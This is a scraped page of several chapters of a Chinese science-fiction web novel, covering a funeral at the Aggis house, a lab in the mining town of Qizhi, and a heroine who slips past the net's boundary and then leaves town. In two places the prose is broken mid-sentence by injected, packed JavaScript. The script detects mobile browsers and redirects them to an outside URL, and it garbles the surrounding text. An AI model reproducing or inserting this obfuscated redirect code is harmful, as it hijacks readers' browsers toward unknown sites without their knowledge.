这是布朗第三次参加阿吉斯家的葬礼,她的记性很好,很快就发现了与记忆不符的地方。 守卫的数量不对,那个把自己活成阿吉斯名片的老管家也不见身影。 现在在大厅负责招待客人们的年轻管家做事也算周到,有礼得体,但布朗莫名觉得她在抗拒和人接触。守卫们面容紧绷挺直着仿佛雕像般纹丝不动,那些穿梭忙碌的佣人们,神情拘谨,少了许多布朗印象里阿吉斯的佣人应有的从容端正。 弥漫在阿吉斯大宅里的并非哀悼悲伤,而是恐惧。 发生了什么? 布朗看到宾客中那个年轻的女孩,木家的孩子。以诺竟然会邀请木家……不,这是他女儿的葬礼,他当然会邀请女儿的朋友前来。 木家的女孩穿着并不适合她的一身沉闷黑色服饰,她面色苍白、表情迷茫,似乎还没理解好友离世的事实。 可悲的是,这孩子大概是来访宾客中唯一真心为死者哀悼的人。 布朗收起感叹,寻找以诺的身影。这位阿吉斯的主人才是大多数人来此的目的,这场葬礼真正的主角。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662441|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但以诺不在人群中,管家和内司长让她们在此用茶稍后,接着也不知去了哪里。宾客们无从得知主人究竟在哪里会在何时出现,那些端上茶水点心就迅速退下的佣人们交流时总是躲避视线,散发着“不要问我任何问题”的不安信息。 佣人们表现出的情绪令无法言说的沉闷气氛拘束住宾客们的行动,最终所有人都找位置坐下等待安排,不敢妄动。 布朗悄悄躲到墙边,趁没人注意溜进□□。别家来的都不是家主,不好直接找上她,只能先和身边的人交际,让她有机会脱离人群。而她作为与以诺身份相当的一家之主,在这里走动随意些也难说冒犯。 这个门后原本应该是个阳光房,上一任家主还在世时,布朗曾被阿吉斯家的女眷邀请来这里喝茶,但现在这里的地板被泥土替代,冒出植物的嫩芽。 阿吉斯不缺花房与庭院,为什么要在见客的位置再改造出一个如此突兀的? 布朗顾虑会被松软的泥土弄脏鞋面与裙摆,正要退回去,以诺从对面的门走进来。 以诺穿着一身款式古典的黑色礼服,过于复古的风格让他看起来与这个缺乏打理的花房更不相称。他往布朗身后看了一眼,说:“我交代过她们招待客人,别让客人到不该去的地方。” 布朗毫无擅闯的心虚:“气氛太憋闷,在那里待久了,我都要怀疑要被下葬的另有其人。流程安排是否太乏味了?” 以诺问:“葬礼除了死亡,还需要什么?” 布朗走近他,说:“也有很多人认为,葬礼是给活人的告别。比如说那个木家的孩子,她需要更温和的方式与好友说再见。” 以诺冷淡地说:“只有她需要,而我没必要为了她去设计什么。” 以诺无视已经近得越过社交距离的布朗,忽然蹲下,将一株冒芽的植物连根拔起——不对,被以诺揪住的部位才是根,以诺拔出的是一株血红的玫瑰。 分明才从泥土下脱出,玫瑰花瓣不仅没有沾染尘土,反而带着露水鲜嫩欲滴。 布朗看着以诺手里的红玫瑰,呼吸一滞,往后连退几步,拉开二人的距离。 以诺似笑非笑地看着布朗惊疑不定的慌张样子,将玫瑰扫过她的蝴蝶胸针,说:“了解研究塔第一阶段实验内容的,都知道玫瑰与蝴蝶象征着什么。你的主人让你用这个当暗语试探我,不算聪明。” 布朗侧身躲开,仿佛第一次认识他,认真地把以诺打量一遍。 “叛徒。” 胸针里,传出沙哑仿佛诅咒的声音。 以诺脸上所有的情绪都在一瞬间消失,空白得令人遐想,他慢慢地开口,仿佛经过漫长的时间才发出自己的声音。 以诺说:“原来是你。” 胸针里再没发出别的声音,布朗这个佩戴者反而比以诺更意外,摸着胸针小声唤了两声没得到回应,又叫了几声才作罢。 而以诺把目光移到布朗的脸上,对她说:“由你安排,让我和她见面。我可以告诉她‘钥匙’的事。” 布朗带着一支红玫瑰离开阿吉斯家,接着回到位于贝丽修玛系的布朗主星泽华。进入布朗庄园她脚步不停,屏退所有佣人,一直走到庭院深处,有位坐在轮椅上的老人在花田里闭眼小憩。 布朗恭敬地站在老人前方,低头候着,不发出一点声音。 直到一阵风吹过,将天上的云变换了形状,老人叹息着睁开眼。 “近来我连梦都做得少了,就算是梦里,我那些老朋友都不来见我。” 布朗没有接话,等老人看到她、让她近前,才小心着动作在轮椅旁蹲下,将蝴蝶胸针与带回来的玫瑰奉上。 老人捧着红玫瑰,颤抖着,泪滴浸润花瓣。 “背叛者啊,你的罪孽已经偿还赎尽了吗……” 41.交涉 药液被吸收变淡,机器自动注入新的药液,医疗舱内再度充满琥珀般的色泽。 安琪儿取出空的药瓶,填入新的。再一次确认医疗舱上设置的时间后,她有些无聊地趴在一边的桌子上敲空药瓶。 “老师这次也泡太久了,还要十几天……什么任务能让她受这么严重的伤?也没带几块蓝金回来。” R把她手里的空瓶拿走,再把乱丢在地上的也捡起,一起放进回收箱里。 安琪儿没人接话也能自己继续说:“老师布置给我的工作我都做完了,她都没检查就去泡药了,等她出来我做的试剂都要失活了。” 她扭头盯着伊冯的身体看了一会儿,突然有了发现:“老师是不是瘦了很多?皮肤状态也不好……” 安琪儿紧贴上医疗舱观察窗,试图看得更清晰,有色的液体造成一定的干扰,她看不清更多细节。 “她才出去几天,能造成这些痕迹的……辐射吗?防护罩也无法防御吗?或是辐射强度到了让仪器失灵的程度……” 她碎碎念着声音越来越小,突然大叫一声跑到低温柜里取出两支试剂,打开萃取仪倒进去。 R问:“安琪儿在做什么?” 安琪儿说:“机器不行的话,那就做能抵抗辐射的药好了。比如涂在皮肤上形成防护层的药液,就算防护罩不能用了也不用担心了。” R鼓掌:“安琪儿好聪明!” 安琪儿设置参数,拿过电子写字板做实验记录,同时说:“我现在只是有想法。单纯防辐射的药很好做,但能让老师的护罩都失灵的那种级别的辐射,想只靠药物抵御,还要考虑涂上后不能对皮肤造成负担影响感知……而且老师多半会觉得涂药麻烦,最好是内服的,那难度就更高了。没有老师指导,只靠我自己还做不到。” “毕竟她很博学呢,可惜她总是分不出很多时间教导我们。” 安琪儿扭头看着不知道什么时候进了实验室的怪医,对方站在医疗舱前仰头看着沉睡的伊冯,侧脸被绷带遮挡看不清表情。 “……虽然老师给了你进来的权限,但你进来前能先按铃打个招呼吗?” 怪医看着她,表情很疑惑地说:“门外那个铃是给没权限的人用。我和你一样受她教导,这个实验室是我们一起使用的,为什么我进来要按铃?” 安琪儿沉下脸,转回头死盯着萃取仪不说话。 怪医没在意安琪儿的态度,走到R身边,抓住她的手检查翻看,说:“又换了新的?利比逖做给你的身体,看起来已经和正常人的身体没有区别了。” R被怪医摆弄四肢,自觉地蹲低身子给她看。 怪医的手穿过R寸长的亚麻色头发,说:“已经这么长了。移植的皮肤全都成活,头发也能正常地长出来了。她真的很厉害啊。” “是啊,老师是系统学过正经医术的,和某些拿伤员练手碰运气的野路子可不一样。”安琪儿取出完成萃取的液体,放进另一个设备进行下一步,没往怪医的方向看,好像她不是特意针对谁说的这话。 怪医放开R,说:“所以我才拜托她教我。她医术很好,星盟驻点里也有很厉害的医生,但城里很多人得不到她们这样的人的治疗,能救那些人的只有我这样的蹩脚医生了。如果我能多从她那学一点,就能多救下一些人。” 怪医问R伊冯什么时候会醒,得了答案就直接离开。 R不擅长和人交流,也不懂复杂的人情世故。她和怪医认识得更久,但和安琪儿相处的时间更多,这俩人见面总是这样不友好,她在中间左右为难,每次想做点什么缓和气氛,最后直到其中一人离场都想不出该做什么。 实验室的门合上,R看着背影都透着有气的安琪儿,问:“安琪儿不喜欢怪医吗?” “她缺我的喜欢吗?你和老师喜欢她还不够?我不喜欢她能让她损失什么吗?”安琪儿对上R茫然的眼睛,语气更凶了,“你以前的身体是她帮你做的,你当然喜欢她。她又没给我什么,我为什么要喜欢她?” 安琪儿见R还是一脸呆样,翻了个白眼让她别乱操心,该干嘛干嘛去。 R抱着回收箱打开实验室的门,差点和门外正举手准备按铃的流珠撞上。 “妈妈!”R叫道。 流珠侧过身,看向实验室里:“我来给你们送饭。她还没醒?” “早着呢。”安琪儿放下东西也走出实验室,“今天是什么好吃的?我要等老师醒了说给她馋她!” 流珠回她:“东盟菜。今天商队过来了,我就去蒙涟娜店里买些新鲜食材做的菜。” 安琪儿和R欢呼着围着流珠到餐桌边,一起从餐盒里把饭菜拿出来。她们都用不惯筷子,把菜分别盖在米饭上,用勺子挖着吃。莎丽闻到饭菜香,自己从卧室出来坐到桌边,拿着勺子专心进食。 流珠现在也知道了莎丽的存在,如今地下是伊冯说了算,伊冯愿意出钱让R继续养着,流珠没立场反对——就像R喊她妈妈这事是被伊冯和安琪儿撺掇的,她给不出合适的理由让R不能这么叫,只能顺着她们。 三人边吃边闲聊些琐事。 安琪儿大口扒进几口饭菜,突然想到什么,问:“蒙涟娜不是不让外带吗?” 流珠说:“她说你们在店里还不知道要添几碗饭呢,坐她店里她还嫌碍眼。拿了个最小的饭盒给我,我说你们吃不饱还得去她店里,她才给我换了这个。” 安琪儿笑得喷饭:“谁叫她自己定的规矩,只要能解她的毒就免单,偏偏无论她用哪种毒,老师都能做出解毒剂。全城也就我们这几个不付钱,又吃不垮她。” R跟着点头:“老师说我们的饭量很正常。” 流珠笑笑,安琪儿又起话头说:“我昨晚已经能肉眼看到蓝波了。南边炸掉的那些蓝金究竟有多少吨啊,离我们这么远都能看到。” R两眼发亮地接话:“我也看到了蓝色很!漂亮!” “就是漂亮得让人肉疼,那么多蓝金,够我们一辈子吃喝不愁,什么实验都不用愁材料没钱买了。”安琪儿说着又算了一轮账,这话R接不上,只能点头赞同她。 流珠就看着她们边吃边聊,过了会儿,她收敛笑意,说:“最近城里气氛有些怪,你们尽量别上去。” 安琪儿问:“是那帮官还是那些流子佣兵?” “不好说,都不太对劲。”流珠吞下一口青菜,“东西盟驻点突然换了一批人,城里也多了很多生面孔,看着都不是善茬。边缘地带已经很长时间没有新发现了,这时候突然涌进那么多生人,只怕是冲着人来的。” 安琪儿听出流珠指的是伊冯,她这次出去如果没牵扯进什么麻烦里也难伤成那样,城里来的人是想找她麻烦——这种猜想的可能性很高。 R说:“妈妈也过来住吧?” “我也下来,生意不做了?你们吃什么?我会给你们带饭,别什么都和你们老师学,她总喝营养液当饭,这习惯可不好。” 流珠着重点了R一下:“你好不容易有了正常人的牙口,就得用来好好吃饭,不然牙齿和胃都要退化掉的。” R憨笑,露出一口整洁的白牙和门牙上沾着的菜叶。 流珠差点被逗笑,催她们快点吃完,她要去还饭盒。安琪儿则没她那么在意形象,指着R笑得前仰后合,全不顾自己嘴里的饭菜还没咽下,又喷了半桌子。 R只会跟着笑,流珠看了眼角落待机的清洁机,悄悄在桌下踢了R一脚,再次让R抓紧吃饭,她该回店里了。 流珠打开升降机的门,走进黑色矿石砌的小间,听了会儿确认外面没人,才打开小间的门出去。 她回头看出来的位置,那里什么都没有,只有灰黄的城墙。伊冯装了一个感官干扰器,没点本事的不可能发现这竟然藏着个暗门。 有本事的也不会来这,这里堆放着收废品的都看不上的垃圾,偶有些想捡漏的来乱翻,也只能失望而归。 她看向那个被杂物挡住的土灶,那个入口已经被填上了,如今只是一个再普通不过的土堆罢了。 流珠快步离开,现在城里乱逛的生人很多,不能被发现她在这逗留。 赛涟娜店里的规矩,城里的人都知道,她只给招惹到她和想吃白食的下毒,因而那些服气她、愿意乖乖付钱的,也能在她店里好好吃饭。 栖止虽然三不五时会来新人,但大多进城就被招揽进城里的佣兵团,接着被团里的老人被教规矩,闹也没几个闹到赛涟娜这的。赛涟娜的店没挂佣兵团旗,曾有势头正猛的佣兵团头子去她店里闹事,当夜就被发现面目狰狞的尸体。虽然尸检后尸体内没发现毒素,可大多人都相信那是她的毒太厉害了检测不出。类似的事发生不止一次,而赛涟娜总是全身而退后,她就成了栖止城里默认最得罪不起的。 如今的栖止城内的潜规则还加了半句:命不够硬,绕开赛涟娜;钱不够多,躲着利比逖。 流珠拎着空饭盒进店,看见店里坐的都是生面孔,把店内的位置占满了,上菜的服务员挤着缝上菜,还和平时一样稳当,半滴汤水都不撒。 她只当没察觉到那些陌生人打量的视线,把饭盒放在柜台上就转身出店。 店门口正走进一队人,领头的那个看见流珠便扬手打招呼:“你已经吃过了?那正好,给我推荐几个菜吧,我好久没吃东盟菜了!” 流珠有些疑惑地停住,她和流星商队少有往来,米伽突然对她表现热切是为什么? 对方毕竟是商队的头头,交好总比交恶强,她只能顺着话说几个菜名。 米伽搭在柜台上,往店里看了圈,说:“难得我带人过来,怎么都坐满了。看在我们今天辛苦送了那么多货的份上,给安排个能坐下吃饭的地方?” “都是老朋友了,肯定得招待好你们。放心,进了我的店,没有饿着肚子走的道理。”赛涟娜看向那些桌上摆满菜却不下筷子的,“菜都齐了,各位快些吃吧,凉了味道就不对了,吃完也好腾出位置给别的客人。” 这些生人显然是一起的,都看向坐在中间那张桌子上的棕黑皮肤的女人,那女人把筷子叉开抓起来,说:“这棍子我们用不惯,不会用,老板给示范一下?” 蒙涟娜说:“知道你们不会用,不是给了勺子?” “吃东盟菜用勺子多丢脸,又不是只喝汤。”女人把抓着筷子的手向着蒙涟娜的方向抬高,“开店做生意的,这点小要求都不满足客人吗?” 蒙涟娜挑眉,正要走出柜台,米伽伸手拦了一下。 米伽盯着女人看了会儿,浮夸地一拍手说:“你是砂金的丰泗,对吧?没想到能在这里遇到,你们团不是只在东边活动吗?” 女人也仔细看米伽的脸,轻笑道:“我的记性没您好,我们见过?” 米伽把视线往丰泗脖子上放了放,说:“那倒没有,只是我有个在东盟做金饰讨生活的妹妹,您常照顾她的生意,她跟我提起过。” 丰泗摸着脖子上的金项链,放下手里的筷子,说:“这可真是巧。既然都是老熟人,那就坐下来一起吃吧。” 每桌各站起来几个让出位置,米伽的人却不去坐空位,堵住了店门不让人出去。 本想趁机溜走的流珠也被拦住,她看向蒙涟娜,对方已经倒进了躺椅里,一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672607|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事不关己的看戏姿态。 丰泗挑眉,问:“这是什么意思?” 米伽一人走过去,在她对面坐下,说:“既然这里都是熟人,那就没什么不方便说的话了。我也不和您绕圈子——栖止这种地方,对您这样常在东盟活动的大佣兵团没有价值。您会出现在这,多半是为了传闻里的巨量蓝金而来吧?” 丰泗承认得很坦然:“是。你有消息?” 米伽摇头,又点头,说:“我是有些消息,只看您信不信了。你们听到的传闻里,两个独行佣兵藏下了几十斤的蓝金,再炸毁了带不走的。这个传言是假的,只是一个小团队闹了矛盾,拿最近那起原因不明的蓝金爆炸事件编造的。” 丰泗似笑非笑地看着她,显然是不信。 米伽继续说:“传这些话的人里,有一个叫布莱恩的,我知道很多人都是因为觉得她不至于撒这种无聊的谎,才相信真的存在那几十斤蓝金。我也不要求您相信我说的版本,我只希望您可以不要参与这件事,不要为难她。” “凭什么?” “凭,如果与她交好,一定能得到更多好处。”米伽拿出一个有精致绣纹的布袋放在丰泗手边,示意她打开。 丰泗拿起布袋估量重量,打开看了眼,又放回桌上,只是手还握着没放开。 “虽然比不上几十斤蓝金的价值,你想拿这保她,也算出手阔绰了。怎么,你女儿?”丰泗半开玩笑道。 “我可没那资格。” 米伽的回答听得众人一愣,这话几乎是挑明了被找麻烦的那人背景不简单。 流珠悄悄往里靠,听米伽能抖出什么秘密。 丰泗也收起随意的态度,问:“你说了半天还是在绕圈子。你不如说,我如果找她麻烦,能有什么样的麻烦找上我?” 米伽却为难地笑说:“只怕你会觉得是我故意恐吓你,所以我只说好处。” 她又拿出一个布袋放过去,说:“我最多只能透露给你这些了。” 丰泗摸着袋子里东西的形状,脸色已经严肃得让旁观的众人好奇,她刚打开条缝看了眼便系紧袋口,脸色发白地瞪着米伽,笑意全无:“她是?……” 米伽从容点头,肯定了她未说出口的猜想:“你尽可以大着胆子猜。看在我妹妹和你交情不错的份上,我不想看着你得罪那位。” 丰泗已经坐不住了,站起来招呼自己的人走,又问米伽:“知道那个传闻在找人的可不止我,你要一个个这样劝走?” “我是受人所托,只确保她别在这里被为难。找到这里的,也只有你的砂金能给她制造点麻烦。你走了,剩下的就好对付了。”米伽将丰泗没拿的两个布袋放进她手里,“如果你愿意做些举手之劳,应该也会被感谢吧。” 丰泗握紧两个布袋,叫上自己的人走,又被赛涟娜叫住。 赛涟娜站起来,视线在每张桌子没动过的饭菜上扫过,最后停在丰泗脸上,说:“我的店,没有空肚子走的。不过,看各位急着赶路,我就破例,让几位打包走吧。当然,要收打包费和包装费。” 丰泗现在只想立刻离开,不想多纠缠,掏出两个金块放在柜台上。 赛涟娜看见金子,脸色总算好看了,笑嘻嘻地招呼店员出来给客人装好菜。丰泗让下属拿好饭盒,急匆匆地带人往出城的方向走。 “行了,你的人都杵那多久了,快坐下吧。”赛涟娜把金子收进台内,端出茶盘给米伽倒了一杯茶,“现炒的菜没那么快,你先喝点茶。” 她顺势在米伽身边坐下,也为自己倒一杯,说:“我就说那丫头是叶家的,作风一样可气。” 米伽不置可否,对还站在柜台边的流珠说话:“砂金突然离开,脑子活泛的会跟着离开,但佣兵里蠢货才是大多数。她最好离开,她的时间不能浪费在这些无聊的琐事上。” 流珠问:“她究竟是什么人?” 米伽说:“你如果知道,只会惹祸上身。和她站一边,就会有好处,明白这点就够了。” 流珠闭口不再问,转身走了。 米伽喝完一杯茶,才对赛涟娜说:“她不是叶家的。” 赛涟娜翻了个白眼,端起茶盘坐回了柜台里。 栖止城内外近城门的区域有块空地,只有商队来时才会填满。城外的是给商队停船的,城内的是给商队卸货短暂驻扎的。 流星商队这回卸了货,预备在城里停留几天,好多谈下几笔订单。 米伽一行人回到营地,被留守的抓着问吃的什么,满身香料味。 “好奇自己去吃,走走走,轮岗的回来了,你们野去吧!”米伽掏出钱袋丢给向她讨饭钱的,一脚把人踹走。 众人嬉笑着各归各位,米伽进她的帐篷休息。 帐篷门帘掀起一半,米伽“啧”了一声,进去把门帘锁上。 “这里不是你的船长室,只是个帐篷。”说话的人裹紧身上的银白色袍子,“我总不能待在外面,多显眼。” “什么事快点说完,然后消失。” “族母确认了以诺·阿吉斯的身份,。” 米伽说:“我以为族母还在为那只黑豹子费劲呢。” 银白袍子说:“那女孩已确定是钥匙无疑,接下来我们的任务只有一个,确保她只为我们所用。” 米伽一时没有反应,过了几秒才慢慢地眨眼:“这样,是否有些亵渎……” “不要忘了我们的目的。”银白袍子走近米伽,袍子下金色的眼睛不容她躲闪,“要打开回家的门,钥匙是必不可少的。不要混淆了,族母与我们奉出忠诚的对象,只有制造出钥匙的那位。” 42.离开 使用网络的是生活在现实中的人,但当人使用网络时,似乎无意中便会将自己与现实世界分割开。内网提供的虚拟形象更让人们产生“成为另一个人”的幻觉,在无意识间塑造出不同于现实中的自己。 现实中发生的事在这里似乎都没那么重要,无论是豪门贵族的继承人问题,还是在开荒区爆炸的巨量蓝金,都离这里太远。一开始那些讨论贴确实霸占了论坛首页,但未出三天,它们便沉寂在角落。人总是更关注眼前的仿佛触手可及的事物。 就算是引发过小小混乱的“网络幽灵”,也很快退出了讨论热点,只有少量热情未褪的人还在四处搜寻ta的痕迹。 无人使用的新闻阅览窗自行翻页,经过的用户见了也只是抬手录下几秒的影像,发送个人动态说“幽灵今天也在关注人类新闻”。 新闻区碰见“幽灵”的人太多,已经不值得惊讶了。 伊冯把阅览窗调回首页,她现在只能通过这里了解外面的事。和以前真正穿越后原世界暂停不同,外面正如常运转,她不能抛之脑后留到回去再考虑。虽然她在内网玩得开心,但不想在她逗留期间发生什么需要处理的事,自己却一无所知。 每天她都会来新闻区翻翻,主流媒体还在说她的“去世”造成的影响,阿吉斯新继承人的人选引发阿吉斯分家内斗、带着玫瑰离开葬礼的布朗似乎有意与阿吉斯联姻、十大家族疑将重新选择交好对象、星盟盟会是否能趁此变易之际抢得更多话语权…… “豪门纷争”之外的报道,则多集中于在南部开荒区爆炸的蓝金。对于爆炸成因众说纷纭,目前媒体上比较支持的说法是那些蓝金是从附近的小型黑洞内喷出,在这一过程中结构被破坏导致爆炸。 这也是伊冯没担心过被官方找上的原因,只靠布莱恩她们闭嘴可完全不够,蓝金爆炸的动静一定会引来各方探查,但让那么多蓝金爆炸需要的爆破装置,不可能是个人能掌握的——换句话说,如果存在拥有那种级别武器的势力,官方要行动也得多掂量,多半还要优先考虑招安的可能性。官方只会祈祷那些蓝金是因意外爆炸,不存在一个强大的隐藏组织。加上东西盟微妙的关系,两边或许还怀疑是对方搞的呢。 虽然她从刘念那得知那些蓝金确实是人为设置的陷阱,但既然用了如此迂回的手段,短期内应当不会有什么出格的举动——如果那人手里的资源多到可以满宇宙放巨型蓝金炸弹,她也想不到什么能阻止的手段。那已经是能碾压全星盟军事力量的级别了,就算事先告知预防,也起不了任何作用。 这些天的新闻看下来,目前能对她造成影响的,只有在几个偏向娱乐性质的媒体上看到的“藏匿巨量蓝金的独行佣兵”文章。 文章开头笔者便撇清关系,强调下文为被采访者个人言论,不代表该媒体和笔者的观点态度。文章采访对象为某临时佣兵小队的组织者,受访者自称目睹近日开荒区发生的蓝金爆炸经过,有部分未炸毁的蓝金被冲到她们的飞船附近,小队原想回收蓝金交予相关部门,队中却有人起了贪念,偷袭队友后带着蓝金逃走。 是她高估了布莱恩,还是低估了那些蓝金对于她们的价值? 更让伊冯心烦的是,报道里对于“私吞蓝金的两个独行佣兵”虽然没有指名道姓,却透露了其中一个常年在栖止活动,把她“利比逖”身份的外貌也写得八九不离十——但对于刘念只有简单的“黑发男性独行佣兵”,这能被锁定到刘念身上就有鬼了! 伊冯飘出中央大厅,瞬移到游戏区大楼顶端视觉死角,伸出两条触手掀开“墙砖”,里面是她搭出的编辑器。更多触手伸出,在上面输入指令。 她搭好这个编辑器后就给自己按内网逻辑重新建立了一个账户,因为是直接在内网生成的账号,不会触发向公民局确认合法身份的步骤,之后要处理掉痕迹也简单许多。 伊冯输入指令打开内网论坛界面,找到一个频繁发布热点信息吸引眼球的账号,黑进该账号,发布一条标题为“巨量蓝金竟然藏在这里!”的帖子。 关于刘念她知道太少,只能把他之前告诉自己的杜林星写进去。不能只有她一个被公开信息承受骚扰啊,哪怕烦到罗贝尔也不亏。 见帖子的浏览量不断增长,评论中不乏蠢蠢欲动的,伊冯满意退出,清理干净痕迹后合上“墙砖”,向上望去。 在下线前,去看看内网的边界结构吧,用户早把在这看过一场烟花雨的事淡忘,内网维护员也排查过一圈,没人关注这里。她知道结构就能心满意足地下线了,如果能知道“边界”之外是什么更好。 行动与想法同速,她伸出的触手已经摸到了白色的顶——有轻微的的阻力,但随之她的触手便像切入布丁的热勺,顺滑地穿过。 她现在感受不到心跳,也不会呼吸急促,她该如何兴奋呢?伊冯想象她的触手们反复蜷曲再展开,就像章鱼那样,她现在的身体最适合这样表现兴奋。 释放掉部分激烈的情绪,触手继续向深处探去,思维同步为触手增加长度。 终于,触手顶端不再感受到阻力,她的眼睛在触手上睁开。 她见过的所有星云都不及此刻见到的景象之绚烂,前所未见的颜色攘攘流转,不久前见到的蓝金爆炸现场在这个瑰丽世界里不过是萤光爝火。 原来星空不是最美丽的景色。 即便她现在不需要呼吸,仍觉窒息,思维被震动而让控制的肢体都颤动,她向前靠近这个美丽的世界,让自己置身其中—— 还留在内网的部分突然被什么碰触,她留在那的思维和视觉看到了一个漂浮的女人。 对方穿着板正的研究员制服款式衣裤,没有组织标志,常见的绿白配色。头发莹白,一丝不苟地束在脑后,系统默认的脸部建模。对于内网的虚拟形象而言,对方这外观方方面面都普通得异常。 更别说对方可是突然出现、漂浮在她面前,能触碰她与她交流。 女人说:“你要去哪里?外面很危险,我带你去安全的地方。” 伊冯本能地避开女人的手,把自己挤进伸出触手的方向。 女人再次抬手,伊冯分明能看清她的动作,却突然难以组织顺畅的行动,只能眼见女人的手碰到她,奇异的寒凉冻结了她,让她动弹不得,思绪昏沉。 伊冯被女人拉下,有外力在揉搓她用思维塑形的肢体,昏眩中,她感知到对方将她捏出了脑袋躯干和四肢。 即便是出于好心,她也不需要别人来为她塑形——伊冯将未完全被拉回的触手断开,用最后的力气将那部分的她推向外面那个未知的空间。 尚未断开的感知中,那截触手被抓住,以极快的速度被带过来。 那边也有人?她已经没有余力用来惊讶和行动,只能旁观。 带回她自断部分的东西和她一样没有可视形体,女人似乎没发现,伊冯感觉到手被握住,暖意自被握住的部分漫延开来,沉滞的思维恢复清明。 伊冯赶紧甩脱那研究服女人,接着又被拉进内网边界缝隙,挤进了那令人惊叹的繁彩世界。 缝隙在她眼前合上,完好如初。伊冯活动着还留有寒意的手脚,将它们再化成十几只灵活的触手,心有余悸。那女人没有追出来,难道是内网的管理员?因为有高级权限,所以能对她做到那样的事;权限只在内网有效,所以不会冒险追出吗? “这个你不要了?不要随便把自己切开乱丢,很危险啊!” 伊冯没有“听”到声音,更像是水中漾开的涟漪经过她,她却从中解读出了意义,甚至语气,气愤中藏着关切。 伊冯靠感知自己断开的肢体位置找到对方,那人松开伊冯的断肢,伊冯抓住它融回本体。 彼此都是无法用视觉感知的对象,但这一连串动作下来她们都没磕碰到对方,似乎她们都习惯了用意识而非感官行动。 对方是和她一样脱离□□活动的人类意识吗,或是这个世界的原住民?如果不是人类,为什么会帮助她,她现在的状态已经非常接近这里的生物了吗?为什么她能理解对方的语言? 伊冯有很多问题想问,但她还没研究过用这种状态说话的方式,要怎么才能发出那样波纹般的语言呢? “研究塔的臭虫已经发现你了,立刻下线,废弃这个账号,再不要进内网。为了抓到你,那些无耻的小偷强盗什么 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她确认伊冯看完后把写字板清空,又写下一行:太好了,老师醒了! R放下写字板去找安琪儿,伊冯转头看舱内的监测面板。身体状态好了一点,类似往干枯的植物上甩了几滴水的程度。现在出舱,基本等于白泡。 她有的是手段能保住在栖止的安稳,不过没有必要。她从没想过在这养老,一开始栖止于她就只是个暂时落脚的地方。 那些被不靠谱的传闻煽动来找她抢蓝金的不值一提,自称是她姐姐的神秘人说她被研究塔盯上也算不上紧迫的危机,研究塔的手没伸到栖止,她若是断网安分段时间,不难躲过去。但她要的不是安全,她要知道背后的原因,研究塔做的研究,她的体质,她与这一切的关系。 伊冯告诉安琪儿和R她要离开,她们和她一起走。这俩人和她关系密切,不能把她们留在这里。至于莎丽,有流珠照顾。 安琪儿马上应下,R则有些犹豫。 伊冯只当没发觉R的迟疑,一件件交代她们该带什么、什么是能留下的、什么得在走前销毁。城里的熟人能帮她们照看,用不着搬空。 R总是很听她的话,就算情绪都摆在脸上,还是顺从地去收拾行李了。 她们唯一的飞行器空间和载重都不大,她要泡药液,必须连人带舱一起上去,几箱药品也占地方;剩下的空间只能优先放实验器材,然后是还没用完的材料,加上航行期间需要的食物储备,再添一些衣物和洗漱用品空间,就用得就差不多了。 她虽然考虑到要经常买材料买了储物空间大的型号,还改装去掉了冗余装置再腾出了些空间,但要给三个人用还是太拮据。她能在医疗舱里睡,安琪儿和R休息时总要有个能躺平身子的地方,带的物资不能塞太满。 她还在计算如何收纳,R说要和莎丽告别,没过一会儿安琪儿提着一个箱子过来。 安琪儿说:“老师,R上去了。” “哦。”伊冯不意外,“是去和流珠道别吧。” 安琪儿觉得她的反应太平淡了,不满道:“这么危险的时候,她还私自跑上去……我们又不是不回来了,这不是给老师添麻烦吗?” 伊冯倒笑了:“她要是这种程度的‘阳奉阴违’都没有,我才要担心。那是她母亲,她舍不得是人之常情。” 安琪儿低着头不说话,又听见伊冯接着说:“虽然我这么说,但我也不理解。我没见过我妈,对养我长大的爸没什么舍不得的感觉。就当是,维护多样性?我们三个要是都一个样,凑在一块也无聊。” 安琪儿似乎被这话哄好,继续往飞行器上搬东西。在自以为偷跑得很隐蔽的R回来后,安琪儿不停地抱怨她娇弱的十指承受了太多多余的重量,把剩下的搬运工作都推给了R。 医疗舱被R背上飞行器固定好,安琪儿按伊冯的交代,把原地下室和现基地之间的通道用反探测的黑色矿石填上,并放置预防强行突破的自毁装置。 飞行器如逆行流星,穿透黄沙重归星海。 43.途中 “你就这么让女儿被人拐跑了?”蒙涟娜手中的扇子半开挡在嘴上,一副主人做派歪在旅店的柜台上,“你为了给那小东西续命,可在我那赊了不少账。” 流珠正蹲在地上给清洁机换电池,听她这么说,头也没抬道:“我生下她自然得让她活着。她现在活得不错,未来如何就是她自己的事了。” 她锁上能源仓的盖子,把工具丢进箱子里,拍着裤子上沾到的灰站起来,启动清洁机。 蒙涟娜说:“也是,这么多年了,你总算可以不为她操心,也该有精力还债了。” 流珠已有心理准备,垂在身侧的双手攥紧。 蒙涟娜放下扇子,取下腕上红绳编织的手链,说:“你只需要帮我做一件事,拿着这个去东盟叶家。无论你能从那带回来什么,你欠我的都一笔勾销。” 手链落在流珠布满厚茧沾有油污的掌心,她掏出一块方巾仔细地包住贴身放好。 “我也最后拜托你一件事。” 